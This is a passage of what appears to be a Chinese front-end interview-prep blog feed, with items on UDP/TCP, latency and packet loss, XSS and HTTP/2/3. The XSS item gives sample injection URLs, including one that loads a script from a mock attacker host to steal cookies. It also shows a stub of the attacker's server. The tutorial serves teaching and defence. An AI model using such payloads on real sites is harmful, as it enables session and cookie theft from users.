&lt;li&gt;&lt;code&gt;首部开销小&lt;/code&gt;：8个字节（&lt;code&gt;源端口号&lt;/code&gt;(非必填)、&lt;code&gt;目的端口号&lt;/code&gt;、&lt;code&gt;UDP长度&lt;/code&gt;(数据报的整个长度)、&lt;code&gt;UDP检查和&lt;/code&gt;(检测UDP数据报是否有错或者目的端口找不到对应的进程，&lt;code&gt;各2字节&lt;/code&gt;），因为它要求不高而且实现的功能没有那么多，所以首部字段不多，而&lt;code&gt;TCP有20个字节&lt;/code&gt;。它的数据是可以为0的，所以它最少可以是8个字节&lt;/li&gt;
&lt;li&gt;&lt;code&gt;是面向报文的&lt;/code&gt;：适合一次性传输少量数据，因为应用层给UDP多长的报文都会照样发送，即一次发送一个完整的报文，即不合并也不拆分。如果报文太长的话，UDP完整的装进来交给网络层的话，网络层就要分片了，因为传给链路层的话它有一个MTU的要求，所以网络层就要分片，这会给网络层的效率造成影响&lt;/li&gt;
&lt;li&gt;&lt;code&gt;无拥塞控制&lt;/code&gt;：适合实时应用，因为它会一直以恒定的速度发送数据，即使网络条件不好，也不会对发送速率进行调整。这就导致在网络不好的情况下就有可能丢包，但优点也明显，在某些实时性要求高的场景比如说聊天、在线视频、网络语音电话等使用UDP而不是TCP，比如打微信电话出现偶尔断续不是太大问题。当然拥塞太严重也有一些补救措施比如向前纠错或者重传&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="udp-为什么不可靠"&gt;UDP 为什么不可靠&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;传输数据之前&lt;code&gt;不需要先建立连接&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不保证消息交付&lt;/code&gt;，远程主机的传输层在接收到UDP报文后，不需要确认&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不保证将会顺序&lt;/code&gt;，不设置包序号、不重排、不会发生队首阻塞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不进行拥塞控制&lt;/code&gt;，没有内置反馈机制，不重传、无超时&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="tcp"&gt;TCP&lt;/h2&gt;
&lt;p&gt;这是我们平时用的最多的协议，特别是前后端 TCP给应用程序提供了一种与UDP完全不同的服务 TCP是面向连接的可靠的服务，面向连接指TCP的两个应用程序必须在它们可交换数据之前，通过相互联系来建立一个TCP连接 TCP提供了一种字节流抽象概念给应用程序：不会自动插入记录标志或者消息边界，如发送端分别发10字节和30字节，接收端可能会以两个20字节的方式读入&lt;/p&gt;
&lt;h3 id="tcp的特点"&gt;TCP的特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;是面向连接的&lt;/code&gt;，通信之前双方必须要先建立连接&lt;/li&gt;
&lt;li&gt;&lt;code&gt;只支持单播&lt;/code&gt;，就是点对点的传输，一条TCP连接只能有两个端点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;提供可靠交付的服务&lt;/code&gt;，有完整性校验、数据不会丢失，会丢包重传、且会按顺序到达&lt;/li&gt;
&lt;li&gt;&lt;code&gt;是面向字节流的&lt;/code&gt;。不像UDP那样一个个报文独立传输，而是在不保留报文边界的情况下以字节流方式进行传输&lt;/li&gt;
&lt;li&gt;&lt;code&gt;提供拥塞控制&lt;/code&gt;，当网络出现拥塞的情况，有流量控制，能够减少传输数据的速度和数量，缓解拥塞，保证稳定&lt;/li&gt;
&lt;li&gt;&lt;code&gt;提供全双工通信和可靠通信&lt;/code&gt;，指的是发送方和接收方可以&lt;code&gt;同时发送数据&lt;/code&gt;也可以&lt;code&gt;同时接收数据&lt;/code&gt;。因为两边都会设置有&lt;strong&gt;发送缓存&lt;/strong&gt;和&lt;strong&gt;接收缓存&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;发送缓存&lt;/code&gt;就是发送缓存的队列里面有准备发送的数据和已经发送但是还没有收到来自接收方确认的数据，如果没有收到确认还要重发所以不能扔掉，将可能会被重传，因为TCP需要保证可靠传输&lt;/li&gt;
&lt;li&gt;&lt;code&gt;接收缓存&lt;/code&gt;就是按序到达但是还没有被接收应用程序读取的数据和没按序到达的数据，需要顺序排好了，接收方才能逐一接收数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="为什么说-tcp-是可靠的"&gt;为什么说 TCP 是可靠的&lt;/h4&gt;
&lt;p&gt;因为接收方收到数据后会发送一个ACK确认应答消息，这样发送方就知道自己的数据被对方接收了，如果一直没有收到ACK一定时间后就会重发。因此就算数据没有发到接收方，或者接收方的ACK数据包丢失也有重传机制，确保双方最终可以通过重传也能正确收到消息&lt;/p&gt;
&lt;h4 id="重传机制"&gt;重传机制&lt;/h4&gt;
&lt;p&gt;由于TCP的下层网络层可能出现丢失、重复或乱序的情况，TCP协议需要提供可靠数据传输服务。&lt;/p&gt;</description></item><item><title>网络延迟和丢包</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/</guid><description>&lt;h3 id="1什么是延迟呢"&gt;1、什么是延迟呢？&lt;/h3&gt;
&lt;p&gt;延迟其实就是我们在网页浏览或者使用应用时，从我们点击请求到服务器返回结果给我们之间的时间差。就像你在跟朋友打电话，你说完话后，朋友听到并回应你所说话的时间差一样。&lt;/p&gt;
&lt;p&gt;我们的最终目标是创建一个系统，让这个时间差变得尽可能短，也就是实现零延迟。但现实世界中，有各种各样的问题会导致系统出现延迟。如果系统的延迟很低，那么我们请求得到响应的时间就会很短。每次你在浏览器中输入网址或者点击一个链接，浏览器都会向服务器发出一个请求信号，然后服务器需要处理这个请求，获取需要的信息，最后把这些信息返回给你的浏览器。整个过程中就会有一些时间差，这就是延迟。所以，我们要不断努力降低延迟，提高系统的响应速度。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="2延迟是怎么回事呢"&gt;2、延迟是怎么回事呢？&lt;/h3&gt;
&lt;p&gt;延迟其实就是你在请求后需要等待的时间，就像等待快递送到家门一样。来看个例子，更容易理解它是怎么运作的。&lt;/p&gt;
&lt;p&gt;想象你正在和一个电子商务网站（比如淘宝）互动，你喜欢一个商品，然后把它加入购物车。现在，当你点击“添加到购物车”按钮时，下面的事情会依次发生：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你点击了“添加到购物车”按钮，这时就像你启动了一个计时器，浏览器开始向服务器发请求。&lt;/li&gt;
&lt;li&gt;服务器收到请求，然后开始处理它，就像你的快递订单到了快递中心一样。&lt;/li&gt;
&lt;li&gt;服务器处理完后，回应你的请求，信息到达你的浏览器，商品成功添加到购物车中，就像你的包裹送到了家门口一样。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;你可以想象在第一步按下了计时器的启动按钮，然后在最后一步停下，这段时间就是延迟。希望这个例子能让你更容易理解延迟是如何运作的。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="3延迟都是怎么来的呢"&gt;3、延迟都是怎么来的呢？&lt;/h3&gt;
&lt;p&gt;现在，你应该已经理解了要点，但是你知道是什么造成了延迟吗？网络中的延迟受多种因素影响，它们在确定延迟的具体数值时扮演着关键角色。其中一个主要因素是出站呼叫。回到之前添加购物车的例子，当你点击浏览器上的按钮时，请求会发送到后端的某个服务器，这个服务器可能会在内部调用多个服务来进行计算（可能是同时或者按顺序），然后等待它们的响应或将它们汇总。所有这些因素都会增加呼叫的延迟。但总结起来，主要由以下几个因素引起：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;传输介质：&lt;/strong&gt; 传输介质指的是信息在起点和终点之间的物理路径。系统的延迟会取决于用于传输请求的介质类型。广域网、光纤电缆等传输介质都广泛应用，但每种介质都有自己的限制，这会影响延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传播延迟：&lt;/strong&gt; 这指的是数据包从一个源传播到另一个源所需的时间。系统的延迟很大程度上取决于通信节点之间的距离。节点距离越远，系统的延迟就会越高。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路由器：&lt;/strong&gt; 路由器在通信中扮演着重要的角色，它们需要一些时间来分析数据包的标头信息。延迟取决于路由器处理请求的效率。每一次路由器到路由器的跳跃都会增加系统的延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储延迟：&lt;/strong&gt; 系统的延迟还受到所使用的存储系统类型的影响，因为处理和返回数据可能需要一些时间。因此，访问存储中的数据会增加系统的延迟。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="4如何测量延迟"&gt;4、如何测量延迟？&lt;/h3&gt;
&lt;p&gt;要量化延迟其实很简单，我们有几种常用的方法，让我们来看看最常见的三种：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ping（网络探测）：&lt;/strong&gt; Ping是测量延迟最常用的工具之一。它的原理是向目标地址发送一个小数据包，然后查看接收到响应所需的时间。更快的Ping意味着连接更敏捷，响应更迅速。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-03.webp"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Traceroute（路径跟踪）：&lt;/strong&gt; Traceroute是另一个用于测试延迟的工具。它也使用数据包，但不止如此，它还会逐一记录数据包从源到目的地经过的每个中间节点所需的时间。这有助于识别网络中的延迟点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MTR（网络诊断工具）：&lt;/strong&gt; MTR是Ping和Traceroute的超级组合。MTR提供了详尽的报告，列出了从一个端点到另一个端点所需的每个网络节点的信息。这份报告通常包括了各种细节，比如丢包率、平均延迟等，非常有助于分析网络性能。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="5延迟优化"&gt;5、延迟优化&lt;/h3&gt;
&lt;p&gt;延迟是系统性能的绊脚石，所以我们需要采取一些措施来进行优化。下面是一些简单又实用的方法，可以帮助我们减少延迟：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;采用HTTP/2：&lt;/strong&gt; 使用HTTP/2协议可以显著减少延迟。它支持并行传输，最大程度地减少了数据从发送方到接收方的往返次数，这对于降低延迟非常有效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;减少外部HTTP请求：&lt;/strong&gt; 第三方服务会增加延迟。通过减少外部HTTP请求的数量，我们可以提高系统的响应速度和质量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用CDN：&lt;/strong&gt; 内容分发网络（CDN）被证明能够减少延迟。CDN会在全球多个位置缓存资源，从而减少请求和响应的传输时间。这意味着可以从更接近客户端的缓存位置获取请求，而不必每次都回到原始服务器。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-04.webp"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;浏览器缓存：&lt;/strong&gt; 利用浏览器缓存，可以减少向服务器发送的请求次数，从而降低延迟。浏览器会在本地缓存特定资源，这对于提高页面加载速度很有帮助。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化磁盘I/O：&lt;/strong&gt; 为了减小磁盘I/O的影响，我们需要优化算法，尽量减少频繁的磁盘写入操作。可以考虑使用直写式缓存、内存数据库，或者在适当的情况下进行写入合并，还可以考虑使用快速存储系统，比如SSD。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;作为开发人员，我们还可以在应用程序级别采取一些方法来优化延迟：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;避免低效算法：&lt;/strong&gt; 高效的算法是代码中延迟的主要来源之一。要尽量避免不必要的循环或昂贵的嵌套操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免锁定的设计模式：&lt;/strong&gt; 锁定会引入延迟，因此我们应该采用避免锁定的设计模式，特别是在多线程环境中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;采用异步编程模型：&lt;/strong&gt; 异步编程可以更好地利用硬件资源，因为它避免了阻塞操作，从而减少等待时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制无界队列深度：&lt;/strong&gt; 限制无界队列深度并提供反压通常可以减少代码中的等待时间，从而产生更可预测的延迟。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些方法可以帮助我们优化延迟，提高系统性能，让用户获得更好的体验。&lt;/p&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;p&gt;在前端面试中，&lt;strong&gt;网络延迟和丢包&lt;/strong&gt;是评估你对网络传输、性能瓶颈及应对策略理解的重要考点。面试官会通过这些话题判断能否从&lt;strong&gt;网络层面&lt;/strong&gt;分析问题、优化用户体验，特别是在弱网环境、移动端场景下。&lt;/p&gt;
&lt;h2 id="一网络延迟的考点"&gt;一、网络延迟的考点&lt;/h2&gt;
&lt;h3 id="1-网络延迟的构成"&gt;1. 网络延迟的构成&lt;/h3&gt;
&lt;p&gt;面试官可能会问：“用户输入 URL 后，请求延迟可能发生在哪些阶段？”&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DNS 解析&lt;/td&gt;
&lt;td&gt;域名 → IP 地址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TCP 建立连接&lt;/td&gt;
&lt;td&gt;三次握手耗时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 握手&lt;/td&gt;
&lt;td&gt;HTTPS 建立安全连接耗时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;请求发送&lt;/td&gt;
&lt;td&gt;客户端发送数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;首字节返回 TTFB&lt;/td&gt;
&lt;td&gt;服务端处理 + 网络传输&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内容下载&lt;/td&gt;
&lt;td&gt;响应内容下载耗时&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;渲染耗时&lt;/td&gt;
&lt;td&gt;浏览器解析和绘制页面&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="2-常见影响网络延迟的因素"&gt;2. 常见影响网络延迟的因素&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;地域距离：客户端与服务端物理距离大（如中国访问美国服务器）&lt;/li&gt;
&lt;li&gt;DNS 缓存未命中或 DNS 配置不合理&lt;/li&gt;
&lt;li&gt;TLS 握手过长（HTTPS 开销）&lt;/li&gt;
&lt;li&gt;带宽瓶颈：文件过大、网络拥堵&lt;/li&gt;
&lt;li&gt;长连接未复用（未启用 HTTP/2）&lt;/li&gt;
&lt;li&gt;移动网络抖动高（4G/5G 网络波动）&lt;/li&gt;
&lt;li&gt;首包延迟（TTFB 过高）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-如何优化延迟"&gt;3. 如何优化延迟？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;启用 CDN，部署全球节点，减少 RTT&lt;/li&gt;
&lt;li&gt;启用 DNS 预解析：&lt;code&gt;&amp;lt;link rel=&amp;quot;dns-prefetch&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启用 HTTP/2 或 HTTP/3，减少连接耗时&lt;/li&gt;
&lt;li&gt;减少重定向跳转、合并请求&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;preconnect&lt;/code&gt;、&lt;code&gt;prefetch&lt;/code&gt; 提前连接目标源&lt;/li&gt;
&lt;li&gt;SSR 提前输出首屏 HTML，减少白屏&lt;/li&gt;
&lt;li&gt;缓存优化（减少服务端响应压力）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二丢包的考点"&gt;二、丢包的考点&lt;/h2&gt;
&lt;h3 id="1-丢包的本质"&gt;1. 丢包的本质&lt;/h3&gt;
&lt;p&gt;网络传输中，部分数据包因&lt;strong&gt;链路拥堵、信号弱、硬件丢包率高&lt;/strong&gt;等原因，未能到达目的地。&lt;/p&gt;</description></item><item><title>网络安全</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-015/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-015/</guid><description>&lt;h2 id="1xss"&gt;1、XSS&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="what-is-xss"&gt;what is XSS?&lt;/h3&gt;
&lt;p&gt;我们先从字面意义上看一下,跨站-&amp;gt;顾名思义就是我们从一个网站跑到了另外一个网站上,脚本-&amp;gt;也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击。就是攻击者想尽一切办法将可以执行的代码注入到网页中。&lt;/p&gt;
&lt;p&gt;例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie&lt;/p&gt;
&lt;h3 id="xss危害"&gt;XSS危害&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1、利⽤虚假输⼊表单骗取⽤户个⼈信息。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2、利⽤脚本窃取⽤户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3、显示伪造的⽂章或图⽚。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="简单演示"&gt;简单演示&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 普通
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://localhost:3000/?from=china
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// alert尝试
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://localhost:3000/?from=&amp;lt;script&amp;gt;alert(3)&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 如果可以弹出3,证明这个输入框没有过滤html标记
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;模拟获取cookie&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://localhost:3000/?from=&amp;lt;script src=&amp;#34;http://localhost:4000/hack.js&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;后台代码&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;koa&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;koa&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 启动在4000端口上
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;chalk&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;contents&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;chalk&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;red&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;contents&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;//打印cookie
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 模拟黑客网站
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;koa&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;module&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exports&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;app&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="存储型server端"&gt;存储型（server端）：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;场景：见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;攻击步骤：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1、攻击者将恶意代码提交到目标网站的数据库中
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2、用户打开目标网站时，服务端将恶意代码从数据库中取出来，拼接在HTML中返回给浏览器
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3、用户浏览器在收到响应后解析执行，混在其中的恶意代码也同时被执行
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4、恶意代码窃取用户数据，并发送到指定攻击者的网站，或者冒充用户行为，调用目标网站的接口，执行恶意操作
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="反射型server端"&gt;反射型（Server端）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;与存储型的区别在于，存储型的恶意代码存储在数据库中，反射型的恶意代码在URL上&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;场景：通过 URL 传递参数的功能，如网站搜索、跳转等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;攻击步骤：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1、攻击者构造出特殊的 URL，其中包含恶意代码。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2、用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3、用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4、恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="dom-型浏览器端"&gt;Dom 型(浏览器端）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。&lt;/p&gt;</description></item><item><title>http2.0/http3.0</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/http2-0-http3-0/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/http2-0-http3-0/</guid><description>&lt;h3 id="前言"&gt;前言&lt;/h3&gt;
&lt;p&gt;HTTP/2 相比于 HTTP/1，可以说是大幅度提高了网页的性能，只需要升级到该协议就可以减少很多之前需要做的性能优化工作，当然兼容问题以及如何优雅降级应该是国内还不普遍使用的原因之一。&lt;/p&gt;
&lt;p&gt;虽然 HTTP/2 提高了网页的性能，但是并不代表它已经是完美的了，HTTP/3 就是为了解决 HTTP/2 所存在的一些问题而被推出来的。&lt;/p&gt;
&lt;h3 id="一http-协议"&gt;一、HTTP 协议&lt;/h3&gt;
&lt;p&gt;HTTP 协议是 HyperText Transfer Protocol（超文本传输协议）的缩写，它是互联网上应用最为广泛的一种网络协议。所有的 WWW 文件都必须遵守这个标准。伴随着计算机网络和浏览器的诞生，HTTP1.0 也随之而来，处于计算机网络中的应用层，HTTP 是建立在 TCP 协议之上，所以&lt;strong&gt;HTTP 协议的瓶颈及其优化技巧都是基于 TCP 协议本身的特性&lt;/strong&gt;，例如 tcp 建立连接的 3 次握手和断开连接的 4 次挥手以及每次建立连接带来的 RTT 延迟时间。&lt;/p&gt;
&lt;h3 id="二http1x-的缺陷"&gt;二、HTTP/1.x 的缺陷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;连接无法复用&lt;/strong&gt;：连接无法复用会导致每次请求都经历三次握手和慢启动。三次握手在高延迟的场景下影响较明显，慢启动则对大量小文件请求影响较大（没有达到最大窗口请求就被终止）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;HTTP/1.0 传输数据时，每次都需要重新建立连接，增加延迟。&lt;/li&gt;
&lt;li&gt;HTTP/1.1 虽然加入 keep-alive 可以复用一部分连接，但域名分片等情况下仍然需要建立多个 connection，耗费资源，给服务器带来性能压力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Head-Of-Line Blocking（HOLB）&lt;/strong&gt;：导致带宽无法被充分利用，以及后续健康请求被阻塞。&lt;a href="https://link.juejin.cn/?target=http%3A%2F%2Fstackoverflow.com%2Fquestions%2F25221954%2Fspdy-head-of-line-blocking"&gt;HOLB&lt;/a&gt;是指一系列包（package）因为第一个包被阻塞；当页面中需要请求很多资源的时候，HOLB（队头阻塞）会导致在达到最大请求数量时，剩余的资源需要等待其他资源请求完成后才能发起请求。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;HTTP 1.0：下个请求必须在前一个请求返回后才能发出，&lt;code&gt;request-response&lt;/code&gt;对按序发生。显然，如果某个请求长时间没有返回，那么接下来的请求就全部阻塞了。&lt;/li&gt;
